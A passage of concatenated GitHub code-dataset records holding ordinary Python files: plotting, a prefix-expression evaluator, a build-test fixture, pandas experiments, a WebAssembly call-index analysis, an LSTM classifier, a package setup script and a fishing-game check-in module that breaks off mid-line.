init_dict, num_obs_per_state):\n max_state = num_obs_per_state.index.max()\n num_steps = int(bin_size / init_dict[\"binsize\"])\n num_bins = int(max_state / num_steps)\n hist_data = np.zeros(num_bins)\n for i in range(num_bins):\n hist_data[i] = np.sum(num_obs_per_state[i * num_steps : (i + 1) * num_steps])\n return pd.DataFrame(\n {\"Num_Obs\": hist_data}, index=np.arange(1, len(hist_data) + 1) * bin_size\n )\n\n\ndef get_number_observations(bin_size, init_dict, num_obs_per_state):\n\n max_state = num_obs_per_state.index.max()\n num_steps = int(bin_size / init_dict[\"binsize\"])\n num_bins = int(max_state / num_steps)\n hist_data = np.zeros(num_bins)\n for i in range(num_bins):\n hist_data[i] = np.sum(num_obs_per_state[i * num_steps : (i + 1) * num_steps])\n\n scale = 10\n mileage = np.arange(num_bins) * scale\n width = 0.75 * scale\n for color in COLOR_OPTS:\n\n fig, ax = plt.subplots(1, 1)\n ax.set_ylabel(r\"Number of observations\")\n ax.set_xlabel(r\"Milage (in thousands)\")\n\n cl = SPEC_DICT[color][\"colors\"][0]\n ax.bar(mileage, hist_data, width, align=\"edge\", color=cl)\n ax.set_xticks(range(0, 450, 50))\n ax.set_xticklabels(range(0, 450, 50))\n ax.set_ylim([0, 250])\n plt.xlim(right=400)\n\n plt.savefig(\n f\"{DIR_FIGURES}/fig-introduction-observations-mileage{SPEC_DICT[color]['file']}\"\n )\n","repo_name":"robustzurcher/analysis","sub_path":"python/scripts_figures/ex_post/observations.py","file_name":"observations.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"29750573396","text":"#Name: Dinithi Wickramaratne\n\n#this program returns the final result of a prefix expression\n\n#implementation of the stack\nclass Stack():\n\n def __init__(self):\n self.items = []\n\n #checks whether the stack is empty\n def isEmpty(self):\n return len(self.items) == 0\n\n #add an element to the stack\n def push(self,item):\n self.items.append(item)\n\n #removes the element on the top of the stack and returns it\n def pop(self):\n return self.items.pop()\n\n#this function evaluates the prefix expression\n#time complexity: O(n)\ndef evaluatePrefix(str):\n\n stack = Stack()\n #list of operators\n operators = ['+','-','*','/']\n\n #check for every character in the given string\n #since this is a prefix expression, start pushing elements to the stack from the end of the string\n #i is the index of the character that is currently considered\n for i in range(len(str)-1,-1,-1):\n #check whether the character is an operand\n if str[i] not in operators:\n #push character to stack if it's an operand\n stack.push(str[i])\n #the character read is an operator\n else:\n #get the two values at the top of the stack\n operand1 = int(stack.pop())\n operand2 = int(stack.pop())\n #check what the operation to be applied is and apply it to the operands\n if str[i] is '+':\n stack.push(operand1 + operand2)\n elif str[i] is '-':\n stack.push(operand1 - operand2)\n elif str[i] is '/':\n stack.push(operand1 / operand2)\n elif str[i] is '*':\n stack.push(operand1 * operand2)\n #finally return the value left on the stack \n return stack.pop()\n\n#number of test cases\ntest_cases = int(input(\"Enter the number of test cases: \"))\nwhile(test_cases>0):\n prefix_string = input(\"Enter the prefix string: \") \n print(\"Result is \"+ str(evaluatePrefix(prefix_string)))\n test_cases-=1\n\n","repo_name":"EshaanSeth/Competitive_Coding","sub_path":"Algorithms/Stacks/Python/prefix_evaluation.py","file_name":"prefix_evaluation.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"31109338123","text":"import getopt\nimport sys\ncomment = ('#' + sys.argv[1]).encode()\nopts, args = getopt.getopt(sys.argv[2:], 'cf:o:xy')\noptstring = ''\nlength = len(comment)\nfor opt, arg in opts:\n if opt == '-o': out = arg\n elif opt not in ('-f', '-K'): optstring = optstring + ' ' + opt\ninfile = open(args[0], 'rb')\noutfile = open(out, 'wb')\noutfile.write((optstring + \"\\n\").encode())\nfor l in infile.readlines():\n if l[:length] != comment:\n outfile.write(l)\nsys.exit(0)\n","repo_name":"nonamecoder/FlipperZeroHondaFirmware","sub_path":"flipperzero-firmware/lib/scons/test/Fortran/fixture/myfortran_flags.py","file_name":"myfortran_flags.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":407,"dataset":"github-code","pt":"7"} +{"seq_id":"44777989398","text":"import pytest\nimport os\nfrom pathlib import Path\nimport pandas as pd\n\ndata1 = {\n 'user' : ['dl9118','km0642','lm4758','bd1225','dl9118','km0642','lm4758','ac1225'],\n 'team' :['russia', 'saudiarabia','egypt','uruguay','','','',''],\n 'against': ['saudiarabia', 'russia', 'uruguay', 'egypt','','','','',],\n 'fifa_rank': [65, 63, 31, 21,0,0,0,0]\n }\ncolumns = ['user','team', 'against', 'fifa_rank']\ndata2 = {\n 'user' :['dl9118','km0642','lm4758'],\n 'proj':['577','123','']\n}\ndf1 = pd.DataFrame(data1, columns = columns)\ndf2 = pd.DataFrame(data2, columns=['user','proj'])\ndf3 = df1.copy()\nprint(df1)\nprint(df2)\nprint(df3)\nprint(type(df3))\n\n# df1['proj'] = df1[['user']].merge(df2, how='left').proj\n# print(df1)\n\ndf3 = pd.DataFrame.merge(df1,df2,left_on='user',right_on='user', how='left')\nprint(df3)\n\n\n# df1['sub_prj']= pd.merge(df1, df2, left_on=\"user\", right_on=\"user\",how='left')\n# df1\n\n# df1['sub_proj'] = df1[['user']].merge(df2,how='left').sub_proj\n# print(df1)\n\ndef add_group(user):\n projs = user\n return projs\n\n","repo_name":"km1729/reporting","sub_path":"test/test_add_column.py","file_name":"test_add_column.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14347049520","text":"import os, sys\nimport json \nimport re\nfrom subprocess import PIPE, Popen\nfrom collections import Counter\n\nWASMBENCH_FILTERED_BINARIES = \"/home/michelle/Documents/sa-for-wasm/wasabi/lib/wasm/tests/callgraph-eval/WasmBench/filtered-binaries-metadata/filtered\"\nWASMBENCH_NUM_BINARIES = 8461\n\nWASMBENCH_INDEX = \"/home/michelle/Documents/sa-for-wasm/wasabi/lib/wasm/tests/callgraph-eval/data/wasmbench_index_distribution.json\"\n\ndef extract_wasm_paths(TEST_DIR): \n paths = [] \n for item1 in os.listdir(TEST_DIR):\n item1_path = os.path.join(TEST_DIR, item1)\n if os.path.splitext(item1_path)[1] == \".wasm\": paths.append(item1_path)\n return paths\n\ndef execute_command(command, print_stdout=True):\n if print_stdout: p = Popen(command, shell=True, stderr=PIPE)\n else: p = Popen(command, shell=True, stdout=PIPE, stderr=PIPE)\n _, stderr = p.communicate()\n stderr = stderr.decode(\"utf-8\").strip()\n if \"warning\" in stderr: stderr = \"\"\n if stderr != \"\": return (False, stderr)\n else: return (True, \"\")\n\ndef main():\n\n data = json.load(open(WASMBENCH_INDEX))\n index_expr_count = {}\n total_idx = 0\n for binary in data:\n for idx in data[binary][\"index_distribution\"]:\n count = data[binary][\"index_distribution\"][idx]['count']\n total_idx += count\n if idx not in index_expr_count.keys(): index_expr_count[idx] = 0\n index_expr_count[idx] += count\n \n buckets = {\n \"affected by memory\": {\n \"atleast one load in idx\": 0, \n \"address is constant\": 0, \n \"address from load\": 0, \n \"address involves arithmetic\": 0, \n \"address from call\": 0, \n \"address from local\": 0, \n \"address from param\": 0\n }, \n \"local variable\": {\n \"local get/tee from local variable\": 0,\n }, \n \"interprocedural\": {\n \"local get/tee from parameter\": 0,\n \"calls\": 0, \n }, \n \"constant\": 0, # any special constants? wasabi didn't report the specific constant :(\n \"arithmetic\": 0, \n \"misc\": 0\n }\n constants_counter = Counter()\n\n arth_operations = [\"add\", \"sub\", \"mul\", \"div\", \"and\", \"shr_u\"]\n for index, count in index_expr_count.items(): \n load_flag, local_flag, interprocedural_flag, const_flag, arth_flag = [0]*5 \n\n if \"load\" in index: \n load_flag = True \n buckets[\"affected by memory\"][\"atleast one load in idx\"] += count\n addr_pattern = index[:18]\n \n if \"i32.load\" in index[:8]: \n addr = index[8:]\n\n if \"\" in addr: buckets[\"affected by memory\"][\"address from local\"] += count\n if \"\" in addr: buckets[\"affected by memory\"][\"address from param\"] += count\n if \"load\" in addr: buckets[\"affected by memory\"][\"address from load\"] += count\n if \"call\" in addr: buckets[\"affected by memory\"][\"address from call\"] += count\n if \"const\" in addr[:10]: buckets[\"affected by memory\"][\"address is constant\"] += count\n \n arth = [1 for x in arth_operations if x in addr_pattern]\n if len(arth)>0: buckets[\"affected by memory\"][\"address involves arithmetic\"] += count\n\n if \"\" in index: local_flag = True; buckets[\"local variable\"][\"local get/tee from local variable\"] += count\n \n if \"\" in index: interprocedural_flag = True; buckets[\"interprocedural\"][\"local get/tee from parameter\"] += count \n if \"call\" in index: interprocedural_flag = True; buckets[\"interprocedural\"][\"calls\"] += count \n\n if \"const\" in index[:9]: const_flag = True; buckets[\"constant\"] += count\n\n arth = [x for x in arth_operations if x in index]\n if len(arth)>0: arth_flag = True; buckets[\"arithmetic\"] += count\n\n if not load_flag and not local_flag and not interprocedural_flag and not const_flag and not arth_flag: \n print(f\"{index} -> {index_expr_count[index]}\")\n buckets[\"misc\"] += count\n \n print(f\"{total_idx} total indirect calls\")\n for b in buckets: \n if type(buckets[b]) == int:\n print(f\"{(buckets[b]/total_idx)*100:.0f}% {buckets[b]} {b}\")\n else:\n for s in buckets[b]: \n print(f\"{(buckets[b][s]/total_idx)*100:.0f}% {buckets[b][s]} {s}\")\n \nif __name__ == \"__main__\":\n main()","repo_name":"sola-st/wasm-call-graphs","sub_path":"challenges-prevalence/scripts/wasmbench-index-analysis.py","file_name":"wasmbench-index-analysis.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"29107690153","text":"#Could be an alternative for the task in dynamic.py. Although it won't work perfectly, but still acceptable. \n#Here is the classic case where I might wanna use greedy algorithm: \n#1. Find coverage or All of sth\n\nstates_needed = set([\"mt\", \"wa\", \"or\", \"id\", \"nv\", \"ut\", \"са\", \"az\"])\n\nstations = {} \nstations[\"kone\"] = set([\"id\", \"nv\", \"ut\"]) \nstations[\"ktwo\"] = set([\"wa\", \"id\", \"mt\"]) \nstations[\"kthree\"] = set([\"or\", \"nv\", \"са\"])\nstations[\"kfour\"] = set([\"nv\", \"ut\"]) \nstations[\"kfive\"] = set([\"ca\", \"az\"])\n\nneeded_stations = []\n\ndef finding_stations(stations, states_needed):\n while states_needed:\n best_station_seq = set()\n best_station_name = ''\n for station_name, states_covering in stations.items():\n check = states_needed & states_covering\n if len(check) > len(best_station_seq):\n best_station_seq = check\n best_station_name = station_name\n\n states_needed -= best_station_seq\n needed_stations.append(best_station_name)\n\nfinding_stations(stations, states_needed)\nprint(needed_stations)\n\n","repo_name":"EvgenyOcean/2020-algorithms","sub_path":"greedy.py","file_name":"greedy.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74648069024","text":"# Libraries\nfrom aocd.models import Puzzle\nfrom aocd import submit\nimport itertools\n\n# Global variables from puzzle input\nadd_to_x = (15, 14, 11, -13, 14, 15, -7, 10, -12, 15, -16, -9, -8, -8)\ndivide_z = (1, 1, 1, 26, 1, 1, 26, 1, 26, 1, 26, 26, 26, 26)\nadd_to_y = (4, 16, 14, 3, 11, 13, 11, 7, 12, 15, 13, 1, 15, 4)\n\n\ndef solve_puzzle_piece(input_digit, digit_pos, prior_z):\n global add_to_x, divide_z, add_to_y\n\n w = input_digit\n x = (prior_z % 26) + add_to_x[digit_pos]\n x = int(x != w) # X is 1 if it is not equal to w, otherwise 0 (good)\n y = 25*x + 1 # Either 1 or 26\n z = (prior_z // divide_z[digit_pos]) * y\n y = (w + add_to_y[digit_pos]) * x # X is either 0 / 1\n z += y\n\n return z\n\n\ndef find_solution(digit_direction):\n for input_number in itertools.product(digit_direction, repeat=7):\n z_result = 0\n input_counter = 0\n output_number = []\n\n for digit_number in range(14):\n if add_to_x[digit_number] > 0:\n in_digit = int(input_number[input_counter])\n input_counter += 1\n else:\n in_digit = (z_result % 26) + add_to_x[digit_number]\n\n if 1 <= in_digit <= 9:\n output_number.append(str(in_digit))\n z_result = solve_puzzle_piece(in_digit, digit_number, z_result)\n else:\n break\n\n if len(output_number) == 14:\n print(f'Actual number = {\"\".join(output_number)} >>>\\t\\tz = {z_result}')\n\n if not z_result and len(output_number) == 14:\n return ''.join(output_number)\n\n\nif __name__ == '__main__':\n # Get & format puzzle data\n (year, day) = (2021, 24)\n puzzle = Puzzle(year=year, day=day)\n puzzle_data = [row.split(' ') for row in puzzle.input_data.split('\\n')]\n\n # Solve a part of the puzzle\n if not puzzle.answered_a:\n submit(find_solution('987654321'), part='A', year=year, day=day)\n elif not puzzle.answered_b:\n submit(find_solution('123456789'), part='B', year=year, day=day)\n else:\n print(f'Puzzle for year {year} // day {day} already solved!\\n'\n f'Answer for part A = {puzzle.answer_a}\\n'\n f'Answer for part B = {puzzle.answer_b}')\n","repo_name":"rcdodds/AdventOfCode","sub_path":"2021/24/AoC_2021_24.py","file_name":"AoC_2021_24.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20636140545","text":"from tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Activation\nfrom tensorflow.keras.layers import LSTM\nfrom tensorflow.keras.optimizers import Adam, RMSprop\nfrom tensorflow.keras.callbacks import EarlyStopping\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport glob\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\n\nN_INPUTS = 4\nN_TIME = 10\nTHIN_PART = 1\nTHIN_PART2 = 20\nPATICULAR_ID = 2\n\ndef create_dataset(N_TIME,N_INPUTS):\n data_num = 0\n train_data_num = 0\n input_data = np.zeros((1, N_TIME, N_INPUTS))\n correct_data = np.zeros((1, 1))\n\n for i in range(THIN_PART,30):\n for j in range(1,11):\n path_ij = \"output_data/each_object/output_test_{}_{}.csv\".format(i,j)\n path_ij_tag = \"output_data/annotation/annotation_{}_{}.csv\".format(i,j)\n \n datalist = glob.glob(path_ij)\n if datalist == []:\n continue\n \n #### input data (m, 4)\n df_input = pd.read_csv(path_ij, index_col=0)\n df_input = df_input.drop([\"time\", 'id', 'class'], axis=1) \n np_input = df_input.to_numpy()\n np_input = np_input[1:]\n if np_input.shape[0] < N_TIME:\n continue\n n_sample_ij = np_input.shape[0] - N_TIME + 1\n input_data_ij = np.zeros((n_sample_ij, N_TIME, N_INPUTS))\n for _ in range(n_sample_ij):\n input_data_ij[_] = np_input[_:_+N_TIME, 0:0+N_INPUTS]\n input_data = np.concatenate([input_data, input_data_ij])\n\n #### correct data (m, 1)\n df_correct = pd.read_csv(path_ij_tag, index_col=0)\n np_correct = df_correct.to_numpy()\n np_correct = np_correct[1:]\n correct_data_ij = np.zeros((n_sample_ij, 1))\n for _ in range(n_sample_ij):\n correct_data_ij[_] = np_correct[_]\n correct_data = np.concatenate([correct_data, correct_data_ij])\n\n #### related num\n train_data_num = train_data_num + input_data_ij.shape[0]\n data_num += 1\n # break\n\n # print(\"train_data_num\", train_data_num)\n input_data = input_data[1:]\n input_data[:,:,0] = input_data[:,:,0]*0.01\n input_data[:,:,1] = input_data[:,:,1]*0.01\n correct_data = correct_data[1:]\n return input_data, correct_data\n\ndef main():\n input_data, correct_data = create_dataset(N_TIME,N_INPUTS)\n X_train, X_test, Y_train, y_test = train_test_split(input_data, correct_data, test_size = 0.2, random_state = 1)\n print(\"input_data shape, \", input_data.shape, \"correct_data shape\", correct_data.shape)\n print(\"X_train shape, \", X_train.shape, \"y_train shape\", X_train.shape)\n\n #### model structure\n out_neurons = 1\n n_hidden = 32\n\n model = Sequential()\n model.add(LSTM(n_hidden, batch_input_shape=(None, N_TIME, N_INPUTS), return_sequences=True))\n model.add(LSTM(n_hidden, batch_input_shape=(None, N_TIME, N_INPUTS), return_sequences=False))\n model.add(Dense(out_neurons))\n model.add(Activation(\"sigmoid\"))\n optimizer = RMSprop(lr=0.1)\n model.compile(loss=\"binary_crossentropy\", \n optimizer=optimizer,\n metrics=['accuracy'])\n\n model.summary()\n\n #### model learning\n early_stopping = EarlyStopping(monitor='val_loss', mode='auto', patience=20)\n history = model.fit(input_data, correct_data,\n batch_size=200,\n epochs=100,\n validation_split=0.01,\n callbacks=[early_stopping]\n )\n\n #### prediction\n predicted = model.predict(X_test)\n print(\"input_data shape, \", input_data.shape, \"correct_data shape\", correct_data.shape)\n print(\"num of that correct_data has 1 flag\", correct_data[correct_data>0.5].shape)\n print(\"num of that predicted has 1 flag\", predicted[predicted>0.5].shape)\n\n predicted[predicted>0.5] = 1\n predicted[predicted<=0.5] = 0\n cm = confusion_matrix(y_test, predicted)\n accuracy = (cm[0,0]+cm[1,1])/(cm[0,0]+cm[0,1]+cm[1,0]+cm[1,1])\n precision = (cm[1,1]/(cm[0,1] + cm[1,1]))\n recall = (cm[1,1]/(cm[1,1] + cm[1,0]))\n specificity = (cm[0,0]/(cm[0,0] + cm[0,1]))\n F = (2*recall*precision/(recall+precision))\n print(\"cm\", cm)\n print(\"Accuracy\", accuracy)\n print(\"Precision\", precision)\n print(\"Recall\", recall)\n print(\"Specificity\", specificity)\n print(\"F-measure\", F)\n\n #### make figure\n plt.figure()\n # compare prediction with correct (divide train and test data by tensorflow)\n # plt.plot(range(0, correct_data.shape[0]), correct_data, color=\"r\", label=\"row_data\")\n # plt.plot(range(0, predicted.shape[0]), predicted, color=\"b\", label=\"predict_data\")\n\n # compare prediction with correct (divide train and test data by sklearn)\n plt.plot(range(0, y_test.shape[0]), y_test, color=\"r\", label=\"row_data\")\n plt.plot(range(0, predicted.shape[0]), predicted, color=\"b\", label=\"predict_data\")\n # plt.plot(range(0, 50), y_test[0:50], color=\"r\", label=\"row_data\")\n # plt.plot(range(0, 50), predicted[0:50], color=\"b\", label=\"predict_data\")\n plt.legend()\n\n # see train data merely\n # plt.plot(range(0, input_data.shape[0]), input_data[:,0,0], color=\"r\", label=\"row_data\")\n # plt.plot(range(0, input_data.shape[1]), input_data[0,:,0], color=\"r\", label=\"row_data\")\n # plt.plot(range(0, input_data.shape[1]), correct_data[0], color=\"r\", label=\"row_data\")\n\n # plot the model accuracy and validation accuracy\n # plt.plot(history.history['accuracy'])\n # plt.plot(history.history['val_accuracy'])\n # plt.legend(['accuracy','validation accuracy'])\n plt.show()\n model.save('./save_model/my_model.h5')\n\nif __name__ == \"__main__\":\n main()","repo_name":"komizomakoto/rnn_priliminary","sub_path":"rnn_tf_4inputs.py","file_name":"rnn_tf_4inputs.py","file_ext":"py","file_size_in_byte":5779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7117932762","text":"from setuptools import setup, find_packages\npackages = find_packages()\nsetup(\n name='toleranceinterval',\n version=open('toleranceinterval/VERSION').read().strip(),\n author='Charles Jekel',\n author_email='cjekel@gmail.com',\n packages=packages,\n package_data={'toleranceinterval': ['VERSION']},\n py_modules=['toleranceinterval.__init__'],\n url='https://github.com/cjekel/tolerance_interval_py',\n license='MIT License',\n description='A small Python library for one-sided tolerance bounds and two-sided tolerance intervals.', # noqa E501\n long_description=open('README.md').read(),\n long_description_content_type='text/markdown',\n platforms=['any'],\n install_requires=[\n \"numpy >= 1.14.0\",\n \"scipy >= 0.19.0\",\n \"sympy >= 1.4\",\n \"setuptools >= 38.6.0\",\n ],\n python_requires=\">3.5\",\n)","repo_name":"cjekel/tolerance_interval_py","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"7"} +{"seq_id":"39582765496","text":"# -*- coding=utf-8 -*-\n\"\"\"\nCreated by lichen on 2017/5/19.\n新版签到,分为3个转盘,记录连续登陆天数解锁后2个转盘。\n\"\"\"\n\n\nimport time\nimport random\n\nimport freetime.util.log as ftlog\nfrom freetime.entity.msg import MsgPack\nfrom poker.entity.dao import gamedata\nfrom hall.entity import hallvip\nfrom poker.protocol import router\nfrom newfish.entity import config, weakdata, module_tip, util\nfrom newfish.entity.redis_keys import GameData, ABTestData\nfrom newfish.entity.config import FISH_GAMEID\nfrom newfish.entity.chest import chest_system\n\n\ndef _isCheckin(userId, ts=None):\n \"\"\"\n 判断今日是否已签到\n \"\"\"\n ts = ts or int(time.time())\n # 当日签到后时间戳会设置为第二天的0点\n continuousCheckinDayTS = gamedata.getGameAttrInt(userId, FISH_GAMEID, GameData.continuousCheckinDayTS)\n isCheckin = 1 if continuousCheckinDayTS == util.getDayStartTimestamp(ts) + 86400 else 0\n return isCheckin\n\n\ndef _isCheckContinuousBreak(userId, ts=None):\n \"\"\"\n 检查是否需要中断连续签到\n \"\"\"\n ts = ts or int(time.time())\n dayStartTS = util.getDayStartTimestamp(int(ts))\n gamedata.setnxGameAttr(userId, FISH_GAMEID, GameData.breakContinuousCheckinTS, dayStartTS)\n gamedata.setnxGameAttr(userId, FISH_GAMEID, GameData.continuousCheckinDayTS, dayStartTS)\n # 未连续签到时要中断.\n continuousCheckinDayTS = gamedata.getGameAttrInt(userId, FISH_GAMEID, GameData.continuousCheckinDayTS)\n if continuousCheckinDayTS + 86400 <= dayStartTS:\n breakContinuousCheckinTS = dayStartTS\n continuousCheckinDayTS = dayStartTS\n gamedata.setGameAttrs(userId, FISH_GAMEID,\n [GameData.breakContinuousCheckinTS, GameData.continuousCheckinDayTS],\n [breakContinuousCheckinTS, continuousCheckinDayTS])\n # vip小于配置时,每周按照配置日期中断连续签到数据.\n st = time.localtime(dayStartTS)\n vipLevel = hallvip.userVipSystem.getVipInfo(userId).get(\"level\", 0)\n conf = config.getCheckinConf(\"resetInfo\")\n resetVip = conf.get(\"vip\", 0)\n resetWeekDay = conf.get(\"resetWeekDay\", 0)\n if vipLevel <= resetVip and st.tm_wday == resetWeekDay:\n breakContinuousCheckinTS = gamedata.getGameAttrInt(userId, FISH_GAMEID, GameData.breakContinuousCheckinTS)\n if breakContinuousCheckinTS < dayStartTS:\n breakContinuousCheckinTS = dayStartTS\n continuousCheckinDayTS = dayStartTS\n gamedata.setGameAttrs(userId, FISH_GAMEID, [GameData.breakContinuousCheckinTS, GameData.continuousCheckinDayTS],\n [breakContinuousCheckinTS, continuousCheckinDayTS])\n ftlog.debug(\"checkin, reset, userId =\", userId, \"resetTS =\", dayStartTS)\n\n\ndef _getCheckinDay(userId):\n \"\"\"\n 获取已经签到了的天数\n \"\"\"\n _isCheckContinuousBreak(userId)\n breakContinuousCheckinTS = gamedata.getGameAttrInt(userId, FISH_GAMEID, GameData.breakContinuousCheckinTS)\n continuousCheckinDayTS = gamedata.getGameAttrInt(userId, FISH_GAMEID, GameData.continuousCheckinDayTS)\n checkinDay = (continuousCheckinDayTS - breakContinuousCheckinTS) / 86400\n return checkinDay\n\n\ndef _getMsgRewardsDict(userId):\n \"\"\"\n 返回所有签到的奖励配置\n \"\"\"\n msgDict = {}\n conf = config.getCheckinConf(\"checkinData\")\n for k, v in conf.iteritems():\n msgDict[k] = [item[\"rewards\"] for item in v.get(\"datas\", [])]\n return msgDict\n\n\ndef sendFishCheckinInfo(userId, continueWindow=0):\n \"\"\"\n 发送签到详情\n :param continueWindow: 0:用户点击签到请求 1:客户端登录时自动请求\n \"\"\"\n _isCheckContinuousBreak(userId)\n\n checkinDay = _getCheckinDay(userId)\n isCheckin = _isCheckin(userId)\n code = 1\n if (continueWindow and isCheckin):\n code = 2\n elif util.isFinishAllNewbieTask(userId):\n code = 0\n if not isCheckin:\n module_tip.addModuleTipEvent(userId, \"checkin\", checkinDay)\n mo = MsgPack()\n mo.setCmd(\"fishCheckin\")\n mo.setResult(\"gameId\", FISH_GAMEID)\n mo.setResult(\"userId\", userId)\n # 签到日\n day = checkinDay if isCheckin else checkinDay + 1\n mo.setResult(\"loginDays\", day)\n mo.setResult(\"day\", day)\n mo.setResult(\"checkin\", isCheckin)\n msgRewardsDict = _getMsgRewardsDict(userId)\n for k, v in msgRewardsDict.iteritems():\n mo.setResult(k, v)\n mo.setResult(\"continueWindow\", continueWindow)\n mo.setResult(\"code\", code)\n enableItems = []\n for k, v in config.getCheckinConf(\"checkinData\").iteritems():\n if v[\"unlockdays\"] <= day:\n enableItems.append(k)\n mo.setResult(\"enableItems\", enableItems)\n router.sendToUser(mo, userId)\n ftlog.debug(\"checkin, userId =\", userId, checkinDay, mo)\n\n\ndef sendFishCheckinRewardInfo(userId, day):\n \"\"\"\n 领取签到奖励\n \"\"\"\n mo = MsgPack()\n mo.setCmd(\"fishCheckinReward\")\n mo.setResult(\"gameId\", FISH_GAMEID)\n mo.setResult(\"userId\", userId)\n ts = int(time.time())\n code = 1\n if util.isFinishAllNewbieTask(userId):\n # kindId, rewards, checkinDay = getTodayCheckinRewards(userId)\n # if kindId and rewards :\n # code = util.addRewards(userId, rewards, \"BI_NFISH_CHECKIN_REWARDS\")\n # if code == 0:\n # finishCheckin(userId, rewards, checkinDay)\n # mo.setResult(\"kindId\", kindId)\n # mo.setResult(\"rewards\", rewards)\n checkinDay, totalRewards, rd = getTodayCheckinRewards(userId)\n if totalRewards:\n code = util.addRewards(userId, totalRewards, \"BI_NFISH_CHECKIN_REWARDS\")\n finishCheckin(userId, totalRewards, checkinDay, ts=ts)\n for k, v in rd.iteritems():\n mo.setResult(k, v)\n mo.setResult(\"totalRewards\", totalRewards)\n if code != 0:\n ftlog.error(\"checkin, userId =\", userId, \"day =\", day, \"checkinday =\", checkinDay, \"rd =\", rd)\n mo.setResult(\"day\", day)\n mo.setResult(\"code\", code)\n router.sendToUser(mo, userId)\n\n\ndef getTodayCheckinRewards(userId, isShare=False):\n \"\"\"\n 当天未签到时,获得签到奖励详情\n \"\"\"\n # kindId, rewards = None, None\n # checkinDay = getCheckinDay(userId)\n # if checkinDay:\n # rewardConf = config.getCheckinConf(checkinDay)\n # reward = rewardConf[\"normalReward\"]\n # if isShare:\n # reward = rewardConf[\"shareReward\"]\n # kindId = reward[\"name\"]\n # if util.isChestRewardId(kindId):\n # rewards = chest_system.getChestRewards(userId, kindId)\n # else:\n # rewards = [reward]\n # return kindId, rewards, checkinDay\n rewardsDict = {}\n totalRewards = []\n totalRewardsDict = {}\n checkinDay = getCheckinDay(userId)\n multiple = 1\n vipLevel = hallvip.userVipSystem.getVipInfo(userId).get(\"level\", 0)\n if checkinDay:\n for k, v in config.getCheckinConf(\"checkinData\").iteritems():\n if v[\"unlockdays\"] > checkinDay:\n if k == \"rewards\":\n rewardsDict.update({\"kindId\": 0, \"rewards\": []})\n elif k == \"rewards2\":\n rewardsDict.update({\"kindId2\": 0, \"rewards2\": []})\n else:\n idx = util.selectIdxByWeight([item[\"rate\"] for item in v[\"datas\"]])\n item = v[\"datas\"][idx]\n if k == \"multiple\":\n multiple = item[\"rewards\"]\n else:\n reward = item[\"rewards\"]\n kindId = reward[\"name\"]\n if util.isChestRewardId(kindId):\n rewards = chest_system.getChestRewards(userId, kindId)\n else:\n rewards = [reward]\n totalRewards.extend(rewards)\n if k == \"rewards\":\n rewardsDict.update({\"kindId\": kindId, \"rewards\": rewards})\n else:\n rewardsDict.update({\"kindId2\": kindId, \"rewards2\": rewards})\n rewardsDict.update({\"multiple\": multiple})\n ftlog.debug(\"checkin, userId =\", userId, \"totalRewards =\", totalRewards, \"multiple =\", multiple, \"isShare =\", isShare)\n for item in totalRewards:\n itemCount = item[\"count\"] * multiple * (2 if vipLevel >= 1 else 1)\n totalRewardsDict[item[\"name\"]] = totalRewardsDict.get(item[\"name\"], 0) + itemCount\n totalRewards = []\n for k, v in totalRewardsDict.iteritems():\n totalRewards.append({\"name\": k, \"count\": v})\n return checkinDay, totalRewards, rewardsDict\n\n\ndef getCheckinDay(userId):\n \"\"\"\n 当天未签到时,获取是第几天签到\n \"\"\"\n # isCheckin = weakdata.getDayFishData(userId, \"isCheckin\", 0)\n isCheckin = _isCheckin(userId)\n if not isCheckin:\n checkinDay = _getCheckinDay(userId)\n checkinDay += 1\n return checkinDay\n return 0\n\n\ndef finishCheckin(userId, rewards=None, checkinDay=None, ts=None):\n \"\"\"\n 完成签到\n \"\"\"\n # if not rewards or not checkinDay:\n # kindId, rewards, checkinDay = getTodayCheckinRewards(userId)\n # if checkinDay:\n # gamedata.setGameAttr(userId, FISH_GAMEID, GameData.checkinDay, checkinDay)\n # weakdata.setDayFishData(userId, \"isCheckin\", 1)\n # module_tip.resetModuleTipEvent(userId, \"checkin\")\n # from newfish.game import TGFish\n # from newfish.entity.event import CheckinEvent\n # event = CheckinEvent(userId, FISH_GAMEID, checkinDay, rewards)\n # TGFish.getEventBus().publishEvent(event)\n ts = ts or int(time.time())\n if not rewards or not checkinDay:\n checkinDay, rewards, _ = getTodayCheckinRewards(userId)\n if checkinDay:\n _isCheckContinuousBreak(userId, ts)\n gamedata.setGameAttr(userId, FISH_GAMEID, GameData.continuousCheckinDayTS, util.getDayStartTimestamp(int(ts)) + 86400)\n weakdata.setDayFishData(userId, \"isCheckin\", 1)\n module_tip.resetModuleTipEvent(userId, \"checkin\")\n vipLevel = util.getVipRealLevel(userId)\n # 注册当天签到不增加充值奖池.\n registTime = gamedata.getGameAttrInt(userId, FISH_GAMEID, GameData.registTime)\n if util.getDayStartTimestamp(int(time.time())) > util.getDayStartTimestamp(registTime):\n util.increaseExtraRechargeBonus(userId, config.getVipConf(vipLevel).get(\"checkinRechargeBonus\", 0))\n from newfish.game import TGFish\n from newfish.entity.event import CheckinEvent\n event = CheckinEvent(userId, FISH_GAMEID, checkinDay, rewards)\n TGFish.getEventBus().publishEvent(event)\n\n\ndef 